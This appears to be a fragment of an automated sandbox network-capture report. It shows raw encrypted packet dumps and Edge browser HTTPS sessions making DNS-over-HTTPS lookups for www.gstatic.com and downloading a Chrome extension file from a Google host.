Apr 23, 2024 23:02:06.784847975 CEST	1289	IN	Data Raw: 11 a0 6f 18 e4 57 0a 80 a9 b6 41 e1 08 50 8b 4a 36 30 24 7f 5a 75 bb a8 f0 df db 09 e8 6c 75 2a 7d c8 94 22 44 06 e9 60 0e 41 01 7d d6 13 f0 f9 b8 e8 da e0 d2 7a 7e 0b 2e 5e 92 56 db e2 cf a1 fb 0c 1d b3 bd ff b2 30 91 f6 b7 a6 36 d0 ad 0a 14 43 Data Ascii: oWAPJ60$Zulu}"D`A}z~.^V06Crahxc!'X5tM[" @xkOJVl[bIN>HgrE*T#]DH#]'n nrs4=5I9.l$(0Ak>8msr+u+0
Apr 23, 2024 23:02:06.784887075 CEST	1289	IN	Data Raw: 00 a4 7d ef d2 71 23 61 54 7d d3 b6 62 86 4a ce 64 c5 4e 12 d6 82 d7 d4 3e ea e6 19 5e e4 2f ef 2d fd 82 cf 06 3e 2e cc 2c ec ef c3 e5 0b ed 2f 5f 03 e5 19 18 ee 2b 3c fb ed b2 86 19 e7 df f2 79 51 4a 41 a5 89 40 99 24 a7 6d e6 d3 09 35 44 f5 f8 Data Ascii: }q#aT}bJdN>^/->.,/_+<yQJA@$m5D\|t48"+0;La+\|e?P^Z&FC7(pt}/({Xk"gczVb@,qNfSYyBbpK6[EN% Hg\JU$g%
Apr 23, 2024 23:02:06.784924030 CEST	1289	IN	Data Raw: 33 f4 ce 0d 66 8b 32 8c 21 e8 99 ea e5 20 2e 94 11 11 d4 fc 19 b1 83 74 31 19 37 c3 5d 4f 96 a1 eb ed 65 e0 e1 3a f4 39 93 63 23 80 69 40 04 77 43 aa 28 00 d6 da c1 7e 6f d4 89 8c 1d cf 35 e6 18 06 f2 71 d7 c6 0a 5a b0 5c 6d 4a 2a ce f3 88 37 23 Data Ascii: 3f2! .t17]Oe:9c#i@wC(~o5qZ\mJ7#!;Sh6a2u^G>{blR:'pV8.%\%1e\H$Y#uid]7QQ5 Kf%0pEte3T*3}PmCih
Apr 23, 2024 23:02:06.784965992 CEST	1289	IN	Data Raw: 96 ed 98 39 45 04 0a 22 f3 2d f3 36 43 fd a4 74 b1 ef 01 15 33 bc d5 7f ac a1 dc 03 03 dd 37 65 78 d8 58 2f 30 7b a5 21 16 21 d3 4d 0c 17 be 39 c4 67 d5 ae b3 74 de 67 8b fb c6 b9 4c 5a 95 ce 42 df 58 a2 42 a4 b6 31 e5 e7 9d 8d 9f 58 e8 2b e0 49 Data Ascii: 9E"-6Ct37exX/0{!!M9gtgLZBXB1X+I~eaI\pH:!}mh/,y.HM59}o4FX58SqV#n~go/jUd%Eu5-X=2cCzgP*Vs$E;ZWRV<ALqw}k
Apr 23, 2024 23:02:06.785003901 CEST	1289	IN	Data Raw: 78 e2 1c 42 9b 22 93 c4 43 3b 69 68 f0 18 68 20 28 ea 60 fa 66 64 dc e9 79 ae 23 5f 9e 25 78 ab 38 31 85 4e 82 ef 95 49 3a 69 94 d7 b8 b6 03 5d ec c3 29 7e 53 01 a4 75 36 87 2c 33 ad 72 e5 c7 fb 84 cb 99 7c df 95 ca f6 06 92 8f 6e 3f 46 49 84 50 Data Ascii: xB"C;ihh (`fdy#_%x81NI:i])~Su6,3r\|n?FIPL\YU5?^<55>pYP`m#F1BE6u >5h:03+%@:H(]iwSt"<30jVb)}Q>:Sl
Apr 23, 2024 23:02:06.785044909 CEST	1289	IN	Data Raw: a2 e4 54 40 32 85 1e 13 c6 71 27 3c ca 47 4e 16 c7 0d a9 33 fd dc 39 00 f9 4b 1f 85 98 59 0f 72 3a 0f 4d e1 55 54 67 0f 7c 16 ba ff b7 99 20 d5 db 9f 45 ac ed b4 bd c3 f9 d5 35 3e 68 9a 7c b8 ab 63 35 68 6a 21 88 70 2b bb 9d 37 13 40 d5 77 a9 65 Data Ascii: T@2q'<GN39KYr:MUTg\| E5>h\|c5hj!p+7@we/lxP1z(FB=]YaHzsdryhVkQaED?P{)LJ8\|w9 +YnCSOfRYhB<>0eX#)6 5&
Apr 23, 2024 23:02:06.996541023 CEST	1289	IN	Data Raw: cf 63 6f bb bb fa fb 97 d2 d7 53 c1 e1 6b 01 a7 83 26 2a 59 2a ef 52 03 6d fe 38 3a 59 af 0c 69 1c 6e f1 fe 7a cc 06 85 10 05 4c f2 1b 09 62 f7 9c 1e 8f 51 91 0c 5f 25 20 e1 ad 67 b2 22 fb 59 22 2f 3b 25 0c 17 6f d4 19 23 d7 8b c9 3f 44 3b 17 fb Data Ascii: coSk&YRm8:YinzLbQ_% g"Y"/;%o#?D;%zCn0.bUU,O By\|l -P.R"6.FE#DFryQT2X&8A_z<)psCPfwV)w0@n@Bm& O^=$)B!)

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49751	172.64.41.3	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:16 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-04-23 21:02:16 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-04-23 21:02:17 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 23 Apr 2024 21:02:17 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8790cb2bca84add2-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 21:02:17 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 c8 00 04 8e fa 09 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49753	172.64.41.3	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:16 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-04-23 21:02:16 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-04-23 21:02:17 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 23 Apr 2024 21:02:17 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8790cb2bcce0451a-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 21:02:17 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 96 00 04 4a 7d 88 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomJ}^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49755	172.64.41.3	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:17 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-04-23 21:02:17 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-04-23 21:02:17 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 23 Apr 2024 21:02:17 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8790cb2de927add8-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 21:02:17 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 c9 00 04 8e fa 09 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49757	172.64.41.3	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:17 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-04-23 21:02:17 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-04-23 21:02:17 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 23 Apr 2024 21:02:17 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8790cb2e0f146758-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 21:02:17 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 94 00 04 4a 7d 88 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomJ}^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49761	172.253.124.132	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:17 UTC	580	OUT	GET /crx/blobs/AfQPRnlBHVf9QbAmjPnmJQnDwEcerxafOq8p01cAfJ5QoFk2s6gAMnMY_23BNiizXK2e-3smriJGTe2WOZO9s5X2xejbvoKpPILOKN2-0t9ZbrurACaLAMZSmuXX9slHldVQ07B5bvw6KCm_x6CONA/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_76_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:17 UTC	566	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPoUX0-arDC1jM08-L2NIt9w49FkIuAB_XmVKiOLnlaKkwGxrkWlxkg98Shmp2Pz-A39JMs Accept-Ranges: bytes Content-Length: 139091 X-Goog-Hash: crc32c=H9/qeQ== Server: UploadServer Date: Mon, 22 Apr 2024 22:26:17 GMT Expires: Tue, 22 Apr 2025 22:26:17 GMT Cache-Control: public, max-age=31536000 Age: 81360 Last-Modified: Thu, 18 Apr 2024 18:31:51 GMT ETag: 82b50a01_49fb4719_dae394b7_fbc972d4_42d9e512 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 21:02:17 UTC	689	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 22 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr24"0"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-04-23 21:02:17 UTC	1255	IN	Data Raw: 3b d2 9f 7a 6c 80 d0 71 98 9f 7a 7b 13 b7 05 9c d7 02 20 17 3b cc 01 6f 51 2a 66 e2 83 e7 11 83 e2 b3 53 9d d5 24 e1 bb 2f bc cc d3 09 89 36 87 72 b7 81 22 82 40 1f 8b 08 00 00 00 00 00 00 ff bd 7c 5b 73 ab 3a ba ed 5f d9 b5 9e 77 57 21 30 5e d3 fb 6d 12 10 98 58 22 08 5d 40 bb 76 75 01 22 c1 20 30 89 49 8c e9 ea ff 7e 94 d5 bd bb eb 74 f5 74 d9 0f e7 bc 64 c6 99 dc 86 be cb 18 43 42 fe ef bf fc a6 9a 73 fd 71 9c e6 e3 69 fc ed bf 7e 9b 3f 9a a6 2d cf ed 7f 4c cd c7 7f bc 1e 75 f3 db 7f fe 76 3e be 8d 8d fa 73 7d 1a e7 66 9c 7f fb af bf fc 36 95 57 7d 2a 95 39 be b9 c6 5d 65 bb 96 14 ae 95 db 6d 5b db ad ae af fb ad 70 ce c7 62 58 be 0a 7b 7e ad 6d bd 95 d9 7e 8b fd 9f 2e 3e 5e 8e 32 d4 a3 cc b1 b5 ef 4e 47 73 7c 8b 3a 66 ef bf ff 3e e8 b3 cc d1 31 d1 f3 Data Ascii: ;zlqz{ ;oQfS$/6r"@\|[s:_wW!0^mX"]@vu" 0I~ttdCBsqi~?-Luv>s}f6W}9]em[pbX{~m~.>^2NGs\|:f>1
2024-04-23 21:02:17 UTC	1255	IN	Data Raw: 95 05 ba ab f8 8e ca 80 f7 32 52 2b 03 d0 13 e3 cf 4d f9 00 3e 34 b8 61 1d 10 8b 73 6c ba 88 f7 42 2d b0 52 b8 2b a5 b5 40 c3 39 ef a9 e5 3e 15 54 43 c1 76 09 f5 25 64 0c 5d 69 80 5f 93 a7 5f e2 eb ef cd cf 2a b0 56 93 eb 52 39 38 af 35 44 86 eb 7b ca dc b2 0e 6b a0 68 61 d7 a2 5f 98 03 73 66 e3 58 69 b2 f0 20 06 a2 77 ed 47 f8 4f 59 f3 35 63 3a e1 63 60 25 7c fa 6c a8 9a 2b 4e 26 9e c7 7b 11 c6 8e 61 f3 98 84 81 9b 09 09 38 9b 7c c4 0c ff d9 e0 49 fe ba bf f4 f7 f2 43 96 f3 43 6a eb 57 d4 a9 4f 02 e1 8b 64 b0 cd 34 06 69 cf 0f 89 88 e3 72 fd 39 13 a3 33 aa 70 3e f0 4e b5 88 f2 57 66 13 fa 48 7f 91 9d 89 d9 1f 39 02 bb 0c ea d0 e8 bc c8 5c 7f 83 6d f8 82 87 d3 86 6b 7e a6 91 d7 97 ce 4f 5b f8 e4 54 db e9 a2 56 cd 6e c4 4f 57 4f f7 e1 2b ec 1f 57 9a cb 82 Data Ascii: 2R+M>4aslB-R+@9>TCv%d]i__*VR985D{kha_sfXi wGOY5c:c`%\|l+N&{a8\|ICCjWOd4ir93p>NWfH9\mk~O[TVnOWO+W
2024-04-23 21:02:17 UTC	1255	IN	Data Raw: dc eb 1f bd 89 14 2b 5f 64 de 8e 48 13 1b 5b 96 c3 38 2c 55 80 c3 ca 87 69 19 61 82 74 e0 a8 a1 7d 22 01 e4 88 c5 a4 36 e3 4f 2c f5 b5 1f ad f3 f7 7c 6e 21 dc af 6a d0 df fd ed f5 8f 71 d4 bb 7f bd c7 45 f8 4a fe d1 23 3b 49 ea d1 3b 55 d6 4e b3 2e 0e a5 e3 71 93 fb 56 aa a5 2d ad f8 a5 c9 c0 0b e6 ed 67 b9 7a 1f c4 9a e3 3f fa 7e 08 ad 3f c6 49 ef ce 95 6d c6 31 34 78 6c 79 bd 13 5f d9 04 3f ae 15 8d 5d 29 14 4a 33 e0 d7 3e 3c 48 1d e7 e9 70 71 48 f0 e6 64 39 0c 59 a0 58 9a c7 8e c9 87 27 33 1e 1c 51 cf 79 00 5f 60 7c c9 95 33 f5 22 81 d7 a9 3e 0e 8a 4e 85 5c b7 af 55 e4 1d 13 fa d3 35 bc bf 6d b8 7e 42 81 e9 a3 0c cd ca 99 82 1a 78 e3 2d 7c b9 85 bd 3b 31 5e 71 a8 bb 2c e4 96 1a e6 8f 92 ab bd a9 11 64 3c dc 13 1e d4 58 e8 36 2c b5 ce eb 30 ee 89 6e 33 Data Ascii: +_dH[8,Uiat}"6O,\|n!jqEJ#;I;UN.qV-gz?~?Im14xly_?])J3><HpqHd9YX'3Qy_`\|3">N\U5m~Bx-\|;1^q,d<X6,0n3
2024-04-23 21:02:17 UTC	1255	IN	Data Raw: 0a 24 0f c4 6f bf c9 84 12 25 e3 a7 2c 57 5b c4 c0 20 2d 45 58 0f a3 ca e8 6d 31 92 8c 53 e2 24 21 08 70 de 5e 1a bd df 30 3b e6 bc 87 eb af f1 cd f7 e2 c3 99 00 48 75 30 4a 28 94 68 9c ce b9 e1 5b 12 29 29 99 75 a1 02 be 18 8d d6 19 3d 3b 19 7f 56 c8 11 b9 68 44 a0 1a b5 7c 20 7e 16 77 8c f7 08 71 8e c3 e9 9d 0c 1c 16 b6 de 53 d0 9e d4 88 9c 32 df cf 3c e4 a0 ee 02 53 ff 72 e6 86 0b f1 8a 1c 25 da af 1b f8 3e ee c4 27 32 8a a3 86 d7 56 13 ee f2 66 98 84 a9 7b 61 ea 64 6c 46 1c 63 e7 34 e3 41 bf d2 bc a5 8c 81 23 b3 c1 49 68 a5 a9 23 1f e1 87 4d a3 09 16 14 53 b2 b6 2b 8a da 77 2c 60 57 db 1b 97 32 ee a1 60 72 08 d3 59 1d 71 8b 83 bd 23 fd c0 f8 cf 5d 81 47 7e c3 23 cd f3 9d f8 2e 65 a0 d2 d4 ae 57 d3 c3 75 da b5 9e d4 6c 83 72 69 31 5f 71 16 2e 8c 74 9a Data Ascii: $o%,W[ -EXm1S$!p^0;Hu0J(h[))u=;VhD\| ~wqS2<Sr%>'2Vf{adlFc4A#Ih#MS+w,`W2`rYq#]G~#.eWulri1_q.t
2024-04-23 21:02:17 UTC	1255	IN	Data Raw: 96 55 a7 4f 68 b0 1e e0 bf 78 9b 0d a0 6b 60 60 d5 3c 6e 79 88 fb 82 42 88 46 78 ce 18 36 de d3 b8 7a a7 be d4 c3 8f b9 19 63 a0 42 b8 25 3e 27 d8 de dd 98 df 75 ef ec 9f 7b 5b e4 6d 97 db da 38 32 cb dc 9f bc 57 fd c9 28 24 93 35 c1 65 31 7d e6 50 41 cf 78 b6 b8 c8 2d fe 52 0a fd 8a 38 3e 28 30 3d d0 5f f6 cb 81 15 97 34 df bb df ef b8 96 3e d6 d2 6f b3 8a b9 2d ea 27 50 c1 f8 50 31 b8 a7 91 1c b8 43 a0 f1 fa 22 e3 de 36 1d e0 2d 7c f7 ea 97 f5 90 4f 93 e4 13 c1 d6 8c 4b ad 85 cc 75 64 72 71 5b 05 3f dc 03 8d 2f ca 78 11 02 15 47 0c ef 8d 37 34 7d 88 0c 12 c6 8f e0 9b 0b 47 2d 19 35 fc 6a 69 ca 73 7c 96 83 bb 64 fd e4 d4 9d e1 27 aa 58 22 f0 47 ed 90 01 33 bd 94 39 b4 aa b0 b6 89 86 bf 9e df 75 bc 7b fd 1f 48 d8 c6 65 22 1e a4 d8 03 0a f8 3b ee a7 c0 68 Data Ascii: UOhxk``<nyBFx6zcB%>'u{[m82W($5e1}PAx-R8>(0=_4>o-'PP1C"6-\|OKudrq[?/xG74}G-5jis\|d'X"G39u{He";h
2024-04-23 21:02:17 UTC	1255	IN	Data Raw: 9a 01 47 06 6e 54 b1 78 cb 05 79 49 c2 02 c8 f0 87 25 60 7c 92 06 5b da ab 77 e4 fc 7c c4 47 8c 46 bf ba 05 6d c3 26 dc 09 14 f1 d7 74 84 a6 6f bb 76 c1 77 9f 32 a8 2f 28 24 56 06 a6 89 da b8 54 bc 7d 26 ab c4 e6 99 7e 3d 8f ed 90 7b 75 68 6a 9e 7f 29 ba fd a2 20 e7 b5 19 d3 0c f2 e7 7a 65 6e 39 a8 b4 f1 c9 d1 f4 1d 5c 07 cb 4c 06 d7 4d 7b 6e 1c f9 0e 48 2e 1f e2 07 62 3c ca 81 ed 4a 1e c1 59 86 6a ce a0 7c 3a f0 dd ca 23 d2 f1 91 6c 69 38 9f 8a 15 1f 8a b5 cd 89 75 71 0a dd 2e e5 9a de e8 2f e4 5e 1f f8 61 6a ea 50 8a f9 42 c7 e2 62 3c 4c 90 6a 7c 12 42 5e 6b 0e 23 bc f2 0b e9 7f ac c2 f7 5c e4 78 4c d9 46 0f 84 f0 ab 84 d3 03 f3 d8 f1 98 50 e4 10 c7 cb 14 53 ba 61 f3 73 39 40 50 45 53 51 e6 38 26 be 1e 90 c6 25 86 8a e0 3c b8 a0 d5 db 70 7b 9a ab 48 ff Data Ascii: GnTxyI%`\|[w\|GFm&tovw2/($VT}&~={uhj) zen9\LM{nH.b<JYj\|:#li8uq./^ajPBb<Lj\|B^k#\xLFPSas9@PESQ8&%<p{H
2024-04-23 21:02:17 UTC	1255	IN	Data Raw: 99 31 96 3d 7f 02 23 a6 86 1b fb 5d f7 af 71 34 7a 60 a8 6d 7c 35 5e fd 53 86 bb 4e 09 a0 ab 91 bc 56 86 48 ab a3 c1 7e fd 77 fb 17 e2 05 85 aa e0 d0 68 44 c8 e7 cc 68 8c 03 d3 8c 85 64 4b 06 f9 29 f3 e9 bd b2 e4 33 13 e4 15 1b 5d c2 8d ce 32 79 f7 55 8b bf ef 3f f9 e7 38 5f be f7 63 e5 b6 c9 9b 81 f7 b9 f3 3d 06 fa f2 c7 98 ff bb fb 0e 68 a6 96 7e a7 86 87 71 c0 9f 0b e0 d1 03 73 f7 55 ee b9 c6 3b 69 d6 63 8f 44 6c ad 46 6c 08 b4 58 88 ff d3 c9 78 dc e5 ff bb 6f e9 9f f7 5d 65 1e db a5 c0 3a 77 d4 57 3d cc ba d6 bb 63 29 4c 3e 45 f1 97 fc e5 fd 77 83 39 27 ca 81 f1 92 5d 6b fc 56 0c a9 38 bb a5 15 6f 32 d6 26 28 2f ec 84 b5 a7 2c 04 25 07 4a 23 a3 fd ca b5 b6 ab ee ed f8 ca ad f3 7e 90 e6 5e 46 0b fe 6d ff c9 f7 98 ff 2d 97 4c 6e fd 71 0f b8 3b 7e ef e9 Data Ascii: 1=#]q4z`m\|5^SNVH~whDhdK)3]2yU?8_c=h~qsU;icDlFlXxo]e:wW=c)L>Ew9']kV8o2&(/,%J#~^Fm-Lnq;~
2024-04-23 21:02:17 UTC	1255	IN	Data Raw: 6d 76 d5 ab f1 d4 d9 78 ea 7c 3c f5 72 3c f5 f5 78 ea 9b f1 d4 ab 31 d4 10 a1 9c ea 08 6a ca a2 d5 ae 7d 86 ba 42 6e 80 68 75 4a da bb e1 e8 a5 d1 a1 f1 22 aa af 20 14 89 3d 01 df a3 ce 40 48 ef 8c b6 b8 56 cb ec a3 68 81 ad 8e 8d 95 40 f6 c8 dc f1 e0 8d 96 bb e2 2d b8 c7 12 f5 e0 01 f9 a9 d8 54 46 1d 72 95 a2 9c 5c 24 30 eb 8b b7 13 df dc 82 3c 86 8a 61 15 ac 45 6f 32 37 5e 0a 03 b4 15 1c ff b6 64 a5 34 a8 a0 30 e1 9c 7f 5e 7e e2 d8 eb 23 e2 9c 13 83 1a 47 27 8c d9 71 9c cf a1 bc 68 8a c8 7f bf ff 8b 7e 27 3f 75 3e 65 7e ee fa bf 35 00 25 48 cb 41 65 cf 66 f3 05 f9 10 7f ea e0 da e2 5e 2b 9c 5e 03 76 dc 40 4c 83 4f 2f 09 d6 4e db de 72 d9 45 6f e1 a8 c8 16 0b 6a e9 84 85 13 4b 7f 41 60 b0 f4 f9 e8 c2 88 68 13 55 d2 43 1c 9f 8b 28 62 7e bd c6 b8 00 b8 32 